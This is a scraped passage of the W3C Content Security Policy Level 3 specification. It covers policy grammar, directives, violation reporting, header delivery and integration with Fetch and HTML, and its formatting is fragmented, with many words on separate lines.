1. Introduction
This section is not normative.
This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.
CSP is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
This document is an iteration on Content Security Policy Level 2, with the goal of more clearly explaining the interactions between CSP, HTML, and Fetch on the one hand, and providing clear hooks for modular extensibility on the other. Ideally, this will form a stable core upon which we can build new functionality.
1.1. Examples
1.1.1. Control Execution
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'
1.2. Goals
Content Security Policy aims to do to a few related things:
-
Mitigate the risk of content-injection attacks by giving developers fairly granular control over
-
Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [TIMING] , for example) by giving developers granular control over the origins which can embed a given resource.
-
Provide a policy framework which allows developers to reduce the privilege of their applications.
-
Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.
1.3. Changes from Level 2
This document describes an evolution of the Content Security Policy Level 2 specification [CSP2] . The following is a high-level overview of the changes:
-
The specification has been rewritten from the ground up in terms of the [FETCH] specification, which should make it simpler to integrate CSP’s requirements and restrictions with other specifications (and with Service Workers in particular).
-
The
child-src
model has been substantially altered:-
The
frame-src
directive, which was deprecated in CSP Level 2, has been undeprecated, but continues to defer tochild-src
if not present (which defers todefault-src
in turn). -
A
worker-src
directive has been added, deferring tochild-src
if not present (which likewise defers toscript-src
and eventuallydefault-src
). -
Dedicated workers now always inherit their creator’s policy.
-
-
The URL matching algorithm now treats insecure schemes and ports as matching their secure variants. That is, the source expression
http://example.com:80
will match bothhttp://example.com:80
andhttps://example.com:443
.Likewise,
'self'
now matcheshttps:
andwss:
variants of the page’s origin, even on pages whose scheme ishttp
. -
Violation reports generated from inline script or style will now report "
inline
" as the blocked resource. Likewise, blockedeval()
execution will report "eval
" as the blocked resource. -
The
manifest-src
directive has been added. -
The
report-uri
directive is deprecated in favor of the newreport-to
directive, which relies on [REPORTING] as infrastructure. -
The
'strict-dynamic'
source expression will now allow script which executes on a page to load more script via non- "parser-inserted"script
elements. Details are in § 8.2 Usage of "'strict-dynamic'" . -
The
'unsafe-hashes'
source expression will now allow event handlers, style attributes andjavascript:
navigation targets to match hashes. Details in § 8.3 Usage of "'unsafe-hashes'" . -
The source expression matching has been changed to require explicit presence of any non- network scheme , rather than local scheme , unless that non- network scheme is the same as the scheme of protected resource, as described in § 6.6.2.6 Does url match expression in origin with redirect count? .
-
Hash-based source expressions may now match external scripts if the
script
element that triggers the request specifies a set of integrity metadata which is listed in the current policy. Details in § 8.4 Allowing external JavaScript via hashes . -
The
navigate-to
directive gives a resource control over the endpoints to which it can initiate navigation. -
Reports generated for inline violations will contain a sample attribute if the relevant directive contains the
'report-sample'
expression.
2. Framework
2.1. Infrastructure
This
document
uses
ABNF
grammar
to
specify
syntax,
as
defined
in
[RFC5234]
.
It
also
relies
on
the
#rule
ABNF
extension
defined
in
Section
7
of
[RFC7230]
,
with
the
modification
that
OWS
is
replaced
with
optional-ascii-whitespace
.
That
is,
the
#rule
used
in
this
document
is
defined
as:
1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )
and for n >= 1 and m > 1:
<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )
This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [INFRA] .
The following definitions are used to improve readability of other definitions in this document.
optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 ) required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 ) ; These productions match the definition of ASCII whitespace from the INFRA standard.
2.2. Policies
A
policy
defines
allowed
and
restricted
behaviors,
and
may
be
applied
to
a
Document
,
WorkerGlobalScope
,
or
WorkletGlobalScope
as
described
in
§ 4.2.2
Initialize
a
global
object’s
CSP
list
and
in
§ 4.2.1
Initialize
a
Document's
CSP
list
.
Each policy has an associated directive set , which is an ordered set of directives that define the policy’s implications when applied.
Each
policy
has
an
associated
disposition
,
which
is
either
"
enforce
"
or
"
report
".
Each
policy
has
an
associated
source
,
which
is
either
"
header
"
or
"
meta
".
Each
policy
has
an
associated
self-origin
,
which
is
an
origin
that
is
used
when
matching
the
'self'
keyword.
Note:
This
is
needed
to
facilitate
the
'self'
checks
of
local
scheme
documents/workers
that
have
inherited
their
policy
but
have
an
opaque
origin
.
Most
of
the
time
this
will
simply
be
the
environment
settings
object
’s
origin
.
The
§ 4.2.1
Initialize
a
Document's
CSP
list
algorithm
describes
situations
in
which
a
policy
is
inherited.
Multiple policies can be applied to a single resource, and are collected into a list of policies known as a CSP list .
A
CSP
list
contains
a
header-delivered
Content
Security
Policy
if
it
contains
a
policy
whose
source
is
"
header
".
A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives , adhering to the following ABNF grammar [RFC5234] :
serialized-policy = serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )
A serialized CSP list is an ASCII string consisting of a comma-delimited series of serialized CSPs , adhering to the following ABNF grammar [RFC5234] :
serialized-policy-list = 1#serialized-policy ; The '#' rule is the one defined in section 7 of RFC 7230 ; but it incorporates the modifications specified ; in section 2.1 of this document.
2.2.1. Parse a serialized CSP
To parse a serialized CSP , given a serialized CSP ( serialized ), a source ( source ), and a disposition ( disposition ), execute the following steps.
This algorithm returns a Content Security Policy object . If serialized could not be parsed, the object’s directive set will be empty.
-
Let policy be a new policy with an empty directive set , a source of source , and a disposition of disposition .
-
For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (
;
):-
Strip leading and trailing ASCII whitespace from token .
-
If token is an empty string, continue .
-
Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace .
-
Set directive name to be the result of running ASCII lowercase on directive name .
Note: Directive names are case-insensitive, that is:
script-SRC 'none'
andScRiPt-sRc 'none'
are equivalent. -
If policy ’s directive set contains a directive whose name is directive name , continue .
Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.
-
Let directive value be the result of splitting token on ASCII whitespace .
-
Let directive be a new directive whose name is directive name , and value is directive value .
-
Append directive to policy ’s directive set .
-
-
Return policy .
2.2.2. Parse a serialized CSP list
To parse a serialized CSP list , given a serialized CSP list ( list ), a source ( source ), and a disposition ( disposition ), execute the following steps.
This algorithm returns a list of Content Security Policy objects . If list cannot be parsed, the returned list will be empty.
-
Let policies be an empty list .
-
For each token returned by splitting list on commas :
-
Let policy be the result of parsing token , with a source of source , and disposition of disposition .
-
If policy ’s directive set is empty, continue .
-
Append policy to policies .
-
-
Return policies .
2.3. Directives
Each policy contains an ordered set of directives (its directive set ), each of which controls a specific behavior. The directives defined in this document are described in detail in § 6 Content Security Policy Directives .
Each directive is a name / value pair. The name is a non-empty string , and the value is a set of non-empty strings . The value MAY be empty .
A serialized directive is an ASCII string , consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234] :
serialized-directive = directive-name [ required-ascii-whitespace directive-value ] directive-name = 1*( ALPHA / DIGIT / "-" ) directive-value = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) ) ; Directive values may contain whitespace and VCHAR characters, ; excluding ";" and ",". The second half of the definition ; above represents all VCHAR characters (%x21-%x7E) ; without ";" and "," (%x3B and %x2C respectively) ; ALPHA, DIGIT, and VCHAR are defined in Appendix B.1 of RFC 5234.
Directives have a number of associated algorithms:
-
A pre-request check , which takes a request and a policy as an argument, and is executed during § 4.1.3 Should request be blocked by Content Security Policy? . This algorithm returns "
Allowed
" unless otherwise specified. -
A post-request check , which takes a request , a response , and a policy as arguments, and is executed during § 4.1.4 Should response to request be blocked by Content Security Policy? . This algorithm returns "
Allowed
" unless otherwise specified. -
A response check , which takes a request , a response , and a policy as arguments, and is executed during § 4.1.4 Should response to request be blocked by Content Security Policy? . This algorithm returns "
Allowed
" unless otherwise specified. -
An inline check , which takes an
Element
, a type string, a policy , and a source string as arguments, and is executed during § 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? and during § 4.2.5 Should navigation request of type from source in target be blocked by Content Security Policy? forjavascript:
requests. This algorithm returns "Allowed
" unless otherwise specified. -
An initialization , which takes a
Document
or global object , a response , and a policy as arguments. This algorithm is executed during § 4.2.1 Initialize a Document's CSP list , and has no effect unless otherwise specified. -
A pre-navigation check , which takes a request , a navigation type string ("
form-submission
" or "other
"), and a policy as arguments, and is executed during § 4.2.5 Should navigation request of type from source in target be blocked by Content Security Policy? . It returns "Allowed
" unless otherwise specified. -
A navigation response check , which takes a request , a navigation type string ("
form-submission
" or "other
"), a response , a browsing context , a check type string ("source
" or "response
"), and a policy as arguments, and is executed during § 4.2.6 Should navigation response to navigation request of type from source in target be blocked by Content Security Policy? . It returns "Allowed
" unless otherwise specified.
2.3.1. Source Lists
Many directives ' values consist of source lists : sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression :
-
Keywords such as
'none'
and'self'
(which match nothing and the current URL’s origin, respectively) -
Serialized URLs such as
https://example.com/path/to/file.js
(which matches a specific file) orhttps://example.com/
(which matches everything on that origin) -
Schemes such as
https:
(which matches any resource having the specified scheme) -
Hosts such as
example.com
(which matches any resource on the host, regardless of scheme) or*.example.com
(which matches any resource on the host’s subdomains (and any of its subdomains' subdomains, and so on)) -
Nonces such as
'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'
(which can match specific elements on a page) -
Digests such as
'sha256-abcd...'
(which can match specific elements on a page)
A serialized source list is an ASCII string , consisting of a whitespace-delimited series of source expressions , adhering to the following ABNF grammar [RFC5234] :
serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression = scheme-source / host-source / keyword-source
/ nonce-source / hash-source
; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"
; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
; scheme is defined in section 3.1 of RFC 3986.
host-part = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char = ALPHA / DIGIT / "-"
port-part = 1*DIGIT / "*"
path-part = path-absolute (but not including ";" or ",")
; path-absolute is defined in section 3.3 of RFC 3986.
; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
/ "'strict-dynamic'" / "'unsafe-hashes'" /
/ "'report-sample'" / "'unsafe-allow-redirects'"
ISSUE: Bikeshed unsafe-allow-redirects
.
; Nonces: 'nonce-[nonce goes here]'
nonce-source = "'nonce-" base64-value "'"
base64-value = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )
; Digests: 'sha256-[digest goes here]'
hash-source = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"
The
host-char
production
intentionally
contains
only
ASCII
characters;
internationalized
domain
names
cannot
be
entered
directly
as
part
of
a
serialized
CSP
,
but
instead
MUST
be
Punycode-encoded
[RFC3492]
.
For
example,
the
domain
üüüüüü.de
MUST
be
represented
as
xn--tdaaaaaa.de
.
Note:
Though
IP
address
do
match
the
grammar
above,
only
127.0.0.1
will
actually
match
a
URL
when
used
in
a
source
expression
(see
§ 6.6.2.5
Does
url
match
source
list
in
origin
with
redirect
count?
for
details).
The
security
properties
of
IP
addresses
are
suspect,
and
authors
ought
to
prefer
hostnames
whenever
possible.
Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesn’t actually care about any underlying value, nor does it do any decoding of the nonce-source value.
2.4. Violations
A violation represents an action or resource which goes against the set of policy objects associated with a global object .
Each violation has a global object , which is the global object whose policy has been violated.
Each
violation
has
a
url
which
is
its
global
object
’s
URL
.
Each violation has a status which is a non-negative integer representing the HTTP status code of the resource for which the global object was instantiated.
Each
violation
has
a
resource
,
which
is
either
null
,
"
inline
",
"
eval
",
or
a
URL
.
It
represents
the
resource
which
violated
the
policy.
Each
violation
has
a
referrer
,
which
is
either
null
,
or
a
URL
.
It
represents
the
referrer
of
the
resource
whose
policy
was
violated.
Each violation has a policy , which is the policy that has been violated.
Each violation has a disposition , which is the disposition of the policy that has been violated.
Each violation has an effective directive which is a non-empty string representing the directive whose enforcement caused the violation.
Each
violation
has
a
source
file
,
which
is
either
null
or
a
URL
.
Each violation has a line number , which is a non-negative integer.
Each violation has a column number , which is a non-negative integer.
Each
violation
has
a
element
,
which
is
either
null
or
an
element.
Each violation has a sample , which is a string. It is the empty string unless otherwise specified.
Note: A violation ’s sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations which stem from an external file will not include a sample in the violation report.
2.4.1. Create a violation object for global , policy , and directive
Given a global object ( global ), a policy ( policy ), and a string ( directive ), the following algorithm creates a new violation object, and populates it with an initial set of data:
-
Let violation be a new violation whose global object is global , policy is policy , effective directive is directive , and resource is
null
. -
If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global , set violation ’s source file , line number , and column number accordingly.
Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262] .
Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.
-
If global is a
Window
object, set violation ’s referrer to global ’sdocument
'sreferrer
. -
Set violation ’s status to the HTTP status code for the resource associated with violation ’s global object .
How, exactly, do we get the status code? We don’t actually store it anywhere.
-
Return violation .
2.4.2. Create a violation object for request , and policy .
Given a request ( request ), a policy ( policy ), the following algorithm creates a new violation object, and populates it with an initial set of data:
-
Let directive be the result of executing § 6.7.1 Get the effective directive for request on request .
-
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on request ’s client ’s global object , policy , and directive .
-
Set violation ’s resource to request ’s url .
Note: We use request ’s url , and not its current url , as the latter might contain information about redirect targets to which the page MUST NOT be given access.
-
Return violation .
3. Policy Delivery
A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP . This mechanism is defined in detail in § 3.1 The Content-Security-Policy HTTP Response Header Field and § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field , and the integration with Fetch and HTML is described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML .
A
policy
may
also
be
declared
inline
in
an
HTML
document
via
a
meta
element’s
http-equiv
attribute,
as
described
in
§ 3.3
The
<meta>
element
.
3.1.
The
Content-Security-Policy
HTTP
Response
Header
Field
The
Content-Security-Policy
HTTP
response
header
field
is
the
preferred
mechanism
for
delivering
a
policy
from
a
server
to
a
client.
The
header’s
value
is
represented
by
the
following
ABNF
[RFC5234]
:
Content-Security-Policy = 1#serialized-policy ; The '#' rule is the one defined in section 7 of RFC 7230 ; but it incorporates the modifications specified ; in section 2.1 of this document.
Content-Security-Policy: script-src 'self'; report-to csp-reporting-endpoint
A
server
MAY
send
different
Content-Security-Policy
header
field
values
with
different
representations
of
the
same
resource.
A
server
SHOULD
NOT
send
more
than
one
HTTP
response
header
field
named
"
Content-Security-Policy
"
with
a
given
resource
representation
.
When
the
user
agent
receives
a
Content-Security-Policy
header
field,
it
MUST
parse
and
enforce
each
serialized
CSP
it
contains
as
described
in
§ 4.1
Integration
with
Fetch
,
§ 4.2
Integration
with
HTML
.
3.2.
The
Content-Security-Policy-Report-Only
HTTP
Response
Header
Field
The
Content-Security-Policy-Report-Only
HTTP
response
header
field
allows
web
developers
to
experiment
with
policies
by
monitoring
(but
not
enforcing)
their
effects.
The
header’s
value
is
represented
by
the
following
ABNF
[RFC5234]
:
Content-Security-Policy-Report-Only = 1#serialized-policy ; The '#' rule is the one defined in section 7 of RFC 7230 ; but it incorporates the modifications specified ; in section 2.1 of this document.
This header field allows developers to piece together their security policy in an iterative fashion, deploying a report-only policy based on their best estimate of how their site behaves, watching for violation reports, and then moving to an enforced policy once they’ve gained confidence in that behavior.
Content-Security-Policy-Report-Only: script-src 'self'; report-to csp-reporting-endpoint
A
server
MAY
send
different
Content-Security-Policy-Report-Only
header
field
values
with
different
representations
of
the
same
resource.
A
server
SHOULD
NOT
send
more
than
one
HTTP
response
header
field
named
"
Content-Security-Policy-Report-Only
"
with
a
given
resource
representation
.
When
the
user
agent
receives
a
Content-Security-Policy-Report-Only
header
field,
it
MUST
parse
and
monitor
each
serialized
CSP
it
contains
as
described
in
§ 4.1
Integration
with
Fetch
and
§ 4.2
Integration
with
HTML
.
Note:
The
Content-Security-Policy-Report-Only
header
is
not
supported
inside
a
meta
element.
3.3.
The
<meta>
element
A
Document
may
deliver
a
policy
via
one
or
more
HTML
meta
elements
whose
http-equiv
attributes
are
an
ASCII
case-insensitive
match
for
the
string
"
Content-Security-Policy
".
For
example:
Implementation
details
can
be
found
in
HTML’s
Content
Security
Policy
state
http-equiv
processing
instructions
[HTML]
.
Note:
The
Content-Security-Policy-Report-Only
header
is
not
supported
inside
a
meta
element.
Neither
are
the
report-uri
,
frame-ancestors
,
and
sandbox
directives.
Authors
are
strongly
encouraged
to
place
meta
elements
as
early
in
the
document
as
possible,
because
policies
in
meta
elements
are
not
applied
to
content
which
precedes
them.
In
particular,
note
that
resources
fetched
or
prefetched
using
the
Link
HTTP
response
header
field,
and
resources
fetched
or
prefetched
using
link
and
script
elements
which
precede
a
meta
-delivered
policy
will
not
be
blocked.
Note:
A
policy
specified
via
a
meta
element
will
be
enforced
along
with
any
other
policies
active
for
the
protected
resource,
regardless
of
where
they’re
specified.
The
general
impact
of
enforcing
multiple
policies
is
described
in
§ 8.1
The
effect
of
multiple
policies
.
Note:
Modifications
to
the
content
attribute
of
a
meta
element
after
the
element
has
been
parsed
will
be
ignored.
4. Integrations
This section is non-normative.
This document defines a set of algorithms which are used in other specifications in order to implement the functionality. These integrations are outlined here for clarity, but those external documents are the normative references which ought to be consulted for detailed information.
4.1. Integration with Fetch
A number of directives control resource loading in one way or another. This specification provides algorithms which allow Fetch to make decisions about whether or not a particular request should be blocked or allowed, and about whether a particular response should be replaced with a network error .
-
§ 4.1.3 Should request be blocked by Content Security Policy? is called as part of step 2.4 of the Main Fetch algorithm. This allows directives' pre-request checks to be executed against each request before it hits the network, and against each redirect that a request might go through on its way to reaching a resource.
-
§ 4.1.4 Should response to request be blocked by Content Security Policy? is called as part of step 11 of the Main Fetch algorithm. This allows directives' post-request checks and response checks to be executed on the response delivered from the network or from a Service Worker.
A policy is generally enforced upon a global object , but the user agent needs to parse any policy delivered via an HTTP response header field before any global object is created in order to handle directives that require knowledge of a response ’s details. To that end:
-
A response has an associated CSP list which contains any policy objects delivered in the response ’s header list .
-
§ 4.1.1 Set response’s CSP list is called in the HTTP fetch and HTTP-network fetch algorithms.
Note: These two calls should ensure that a response ’s CSP list is set, regardless of how the response is created. If we hit the network (via HTTP-network fetch , then we parse the policy before we handle the
Set-Cookie
header. If we get a response from a Service Worker (via HTTP fetch , we’ll process its CSP list before handing the response back to our caller.Note: A fetch request abides by the global object ’s CSP list including any redirects it might follow. Any Content-Security-Policy headers found in a redirect response are ignored.
4.1.1.
Set
response
’s
CSP
list
Given a response ( response ), this algorithm evaluates its header list for serialized CSP values, and populates its CSP list accordingly:
-
Set response ’s CSP list to the empty list.
-
Let policies be the result of parsing the result of extracting header list values given
Content-Security-Policy
and response ’s header list , with a source of "header
", and a disposition of "enforce
". -
Append to policies the result of parsing the result of extracting header list values given
Content-Security-Policy-Report-Only
and response ’s header list , with a source of "header
", and a disposition of "report
". -
For each policy in policies :
-
Set policy ’s self-origin to response ’s url 's origin .
-
Insert policy into response ’s CSP list .
-
4.1.2. Report Content Security Policy violations for request
Given a request ( request ), this algorithm reports violations based on client ’s "report only" policies.
-
Let CSP list be request ’s client ’s global object ’s CSP list .
-
For each policy in CSP list :
-
If policy ’s disposition is "
enforce
", then skip to the next policy . -
Let violates be the result of executing § 6.6.2.1 Does request violate policy? on request and policy .
-
If violates is not "
Does Not Violate
", then execute § 5.3 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request , and policy .
-
4.1.3. Should request be blocked by Content Security Policy?
Given
a
request
(
request
),
this
algorithm
returns
Blocked
or
Allowed
and
reports
violations
based
on
request
’s
client
’s
Content
Security
Policy.
-
Let CSP list be request ’s client ’s global object ’s CSP list .
-
Let result be "
Allowed
". -
For each policy in CSP list :
-
If policy ’s disposition is "
report
", then skip to the next policy . -
Let violates be the result of executing § 6.6.2.1 Does request violate policy? on request and policy .
-
If violates is not "
Does Not Violate
", then:-
Execute § 5.3 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request , and policy .
-
Set result to "
Blocked
".
-
-
-
Return result .
4.1.4. Should response to request be blocked by Content Security Policy?
Given
a
response
(
response
)
and
a
request
(
request
),
this
algorithm
returns
Blocked
or
Allowed
,
and
reports
violations
based
on
request
’s
client
’s
Content
Security
Policy.
-
Let CSP list be request ’s client ’s global object ’s CSP list .
-
Let result be "
Allowed
". -
For each policy in CSP list :
-
For each directive in policy :
-
If the result of executing directive ’s post-request check is "
Blocked
", then:-
Execute § 5.3 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request , and policy .
-
If policy ’s disposition is "
enforce
", then set result to "Blocked
".
-
-
Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn’t substituted a file which would violate the page’s CSP.
-
-
For each policy in response ’s CSP list :
-
For each directive in policy :
-
If the result of executing directive ’s response check on request , response , and policy is "
Blocked
", then:-
Execute § 5.3 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request , and policy .
-
If policy ’s disposition is "
enforce
", then set result to "Blocked
".
-
-
Note: This portion of the check allows policies delivered with the response to determine whether the response is allowed to be delivered.
-
-
Return result .
4.2. Integration with HTML
-
The
Document
,WorkerGlobalScope
, andWorkletGlobalScope
objects have aCSP list
, which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, and is populated via the § 4.2.2 Initialize a global object’s CSP list and § 4.2.1 Initialize a Document's CSP list algorithms. -
A global object ’s CSP list is the result of executing § 4.2.3 Retrieve the CSP list of an object with the global object as the
object
. -
A policy is enforced or monitored for a global object by inserting it into the global object ’s CSP list .
-
§ 4.2.2 Initialize a global object’s CSP list is called during the run a worker algorithm in order to bind a set of policy objects associated with a response
WorkerGlobalScope
orWorkletGlobalScope
. -
§ 4.2.1 Initialize a Document's CSP list is called during the initializing a new
Document
object algorithm in order to bind a set of policy objects associated with a response to a newly createdDocument
. -
§ 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? is called during the prepare a script and update a
style
block algorithms in order to determine whether or not an inline script or style block is allowed to execute/render. -
§ 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? is called during handling of inline event handlers (like
onclick
) and inlinestyle
attributes in order to determine whether or not they ought to be allowed to execute/render. -
policy is enforced during processing of the
meta
element’shttp-equiv
. -
A
Document
's embedding document is theDocument
through which theDocument
's browsing context is nested. -
HTML populates each request ’s cryptographic nonce metadata and parser metadata with relevant data from the elements responsible for resource loading.
Stylesheet loading is not yet integrated with Fetch in WHATWG’s HTML. <https://github.com/whatwg/html/issues/968>
-
§ 6.2.1.1 Is base allowed for document? is called during
base
's set the frozen base URL algorithm to ensure that thehref
attribute’s value is valid. -
§ 6.2.2.2 Should plugin element be blocked a priori by Content Security Policy?: is called during the processing of
object
,embed
, andapplet
elements to determine whether they may trigger a fetch.Note: Fetched plugin resources are handled in § 4.1.4 Should response to request be blocked by Content Security Policy? .
-
§ 4.2.5 Should navigation request of type from source in target be blocked by Content Security Policy? is called during the process a navigate fetch algorithm, and § 4.2.6 Should navigation response to navigation request of type from source in target be blocked by Content Security Policy? is called during the process a navigate response algorithm to apply directive’s navigation checks, as well as inline checks for navigations to
javascript:
URLs.
4.2.1.
Initialize
a
Document
's
CSP
list
Given
a
Document
(
document
),
a
response
(
response
),
and
a
request
or
null
(
request
)
the
user
agent
performs
the
following
steps
in
order
to
initialize
document
’s
CSP
list
:
-
If request is not
null
and response ’s url ’s scheme is either a local scheme orjavascript
:-
For each policy in request ’s client ’s global object ’s CSP list :
-
Insert a copy of policy into document ’s CSP list .
-
Note: For iframe srcdoc Documents , request will be
null
, but response will contain a copy of the embedding document ’s CSP list in its CSP list , as specified in process the iframe attributes . As such iframe srcdoc Documents inherit their embedding document ’s CSP list .Note: Since self-origin is also copied, any
'self'
checks will be using the source browsing context ’s origin. This is done for the purpose of making'self'
make sense in documents with opaque origins . The'self'
keyword is used in the § 6.6.2.6 Does url match expression in origin with redirect count? algorithm.Note: We do all this to ensure that a page cannot bypass its policy by embedding a frame or popping up a new window containing content it controls (
blob:
resources, ordocument.write()
). -
-
For each policy in response ’s CSP list , insert policy into document ’s CSP list .
-
For each policy in document ’s CSP list :
-
For each directive in policy :
-
Execute directive ’s initialization algorithm on document and response .
-
-
4.2.2.
Initialize
a
global
object’s
CSP
list
Given a global object ( global ), and a response ( response ), the user agent performs the following steps in order to initialize global ’s CSP list :
-
If response ’s url ’s scheme is a local scheme , or if global is a
DedicatedWorkerGlobalScope
:-
Let owners be an empty list.
-
Add each of the items in global ’s owner set to owners .
-
For each owner in owners :
Note: local scheme includes
about:
, and this algorithm will therefore copy the embedding document ’s policies for an iframesrcdoc
Document
. -
-
If global is a
SharedWorkerGlobalScope
orServiceWorkerGlobalScope
: -
If global is a
WorkletGlobalScope
:-
Let owner be global ’s owner document .
-
For each policy in owner ’s CSP list :
-
Insert a copy of policy into global ’s CSP list .
-
-
4.2.3. Retrieve the CSP list of an object
To obtain object ’s CSP list :
-
If object is a
Window
return object ’s associatedDocument
’s CSP list . -
If object is a
WorkerGlobalScope
, return object ’s CSP list . -
If object is a
WorkletGlobalScope
, return object ’s CSP list . -
Return
null
.
4.2.4. Should element ’s inline type behavior be blocked by Content Security Policy?
Given
an
Element
(
element
),
a
string
(
type
),
and
a
string
(
source
)
this
algorithm
returns
"
Allowed
"
if
the
element
is
allowed
to
have
inline
definition
of
a
particular
type
of
behavior
(script
execution,
style
application,
event
handlers,
etc.),
and
"
Blocked
"
otherwise:
Note:
The
valid
values
for
type
are
"
script
",
"
script
attribute
",
"
style
",
and
"
style
attribute
".
-
Assert: element is not
null
. -
Let result be "
Allowed
". -
For each policy in element ’s
Document
's global object ’s CSP list :-
For each directive in policy ’s directive set :
-
If directive ’s inline check returns "
Allowed
" when executed upon element , type , policy and source , skip to the next directive . -
Let directive-name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on the current settings object ’s global object , policy , and directive-name .
-
Set violation ’s resource to "
inline
". -
Set violation ’s element to element .
-
If directive ’s value contains the expression "
'report-sample'
", then set violation ’s sample to the substring of source containing its first 40 characters. -
Execute § 5.3 Report a violation on violation .
-
If policy ’s disposition is "
enforce
", then set result to "Blocked
".
-
-
-
Return result .
4.2.5. Should navigation request of type from source in target be blocked by Content Security Policy?
Given
a
request
(
navigation
request
),
a
string
(
type
,
either
"
form-submission
"
or
"
other
"),
and
two
browsing
contexts
(
source
and
target
),
this
algorithm
return
"
Blocked
"
if
the
active
policy
blocks
the
navigation,
and
"
Allowed
"
otherwise:
-
Let result be "
Allowed
". -
For each policy in navigation request ’s client ’s global object ’s CSP list :
-
For each directive in policy :
-
If directive ’s pre-navigation check returns "
Allowed
" when executed upon navigation request , type , and policy skip to the next directive . -
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request ’s client ’s global object , policy , and directive ’s name .
-
Execute § 5.3 Report a violation on violation .
-
If policy ’s disposition is "
enforce
", then set result to "Blocked
".
-
-
-
If result is "
Allowed
", and if navigation request ’s current URL ’s scheme isjavascript
:-
For each policy in navigation request ’s client ’s global object ’s CSP list :
-
For each directive in policy :
-
Let directive-name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
If directive ’s inline check returns "
Allowed
" when executed uponnull
, "navigation
" and navigation request ’s current URL , skip to the next directive . -
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request ’s client ’s global object , policy , and directive-name .
-
Execute § 5.3 Report a violation on violation .
-
If policy ’s disposition is "
enforce
", then set result to "Blocked
".
-
-
-
-
Return result .
4.2.6. Should navigation response to navigation request of type from source in target be blocked by Content Security Policy?
Given
a
request
(
navigation
request
),
a
string
(
type
,
either
"
form-submission
"
or
"
other
"),
a
response
navigation
response
,
and
two
browsing
contexts
(
source
and
target
),
this
algorithm
returns
"
Blocked
"
if
the
active
policy
blocks
the
navigation,
and
"
Allowed
"
otherwise:
-
Let result be "
Allowed
". -
For each policy in navigation response ’s CSP list :
Note: Some directives (like frame-ancestors ) allow a response ’s Content Security Policy to act on the navigation.
-
For each directive in policy :
-
If directive ’s navigation response check returns "
Allowed
" when executed upon navigation request , type , navigation response , target , "response
", and policy skip to the next directive . -
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on
null
, policy , and directive ’s name .Note: We use
null
for the global object, as no global exists: we haven’t processed the navigation to create a Document yet. -
Execute § 5.3 Report a violation on violation .
-
If policy ’s disposition is "
enforce
", then set result to "Blocked
".
-
-
-
For each policy in navigation request ’s client ’s global object ’s CSP list :
Note: Some directives in the navigation request ’s context (like navigate-to ) need the response before acting on the navigation.
-
For each directive in policy :
-
If directive ’s navigation response check returns "
Allowed
" when executed upon navigation request , type , navigation response , target , "source
", and policy skip to the next directive . -
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request ’s client ’s global object , policy , and directive ’s name .
-
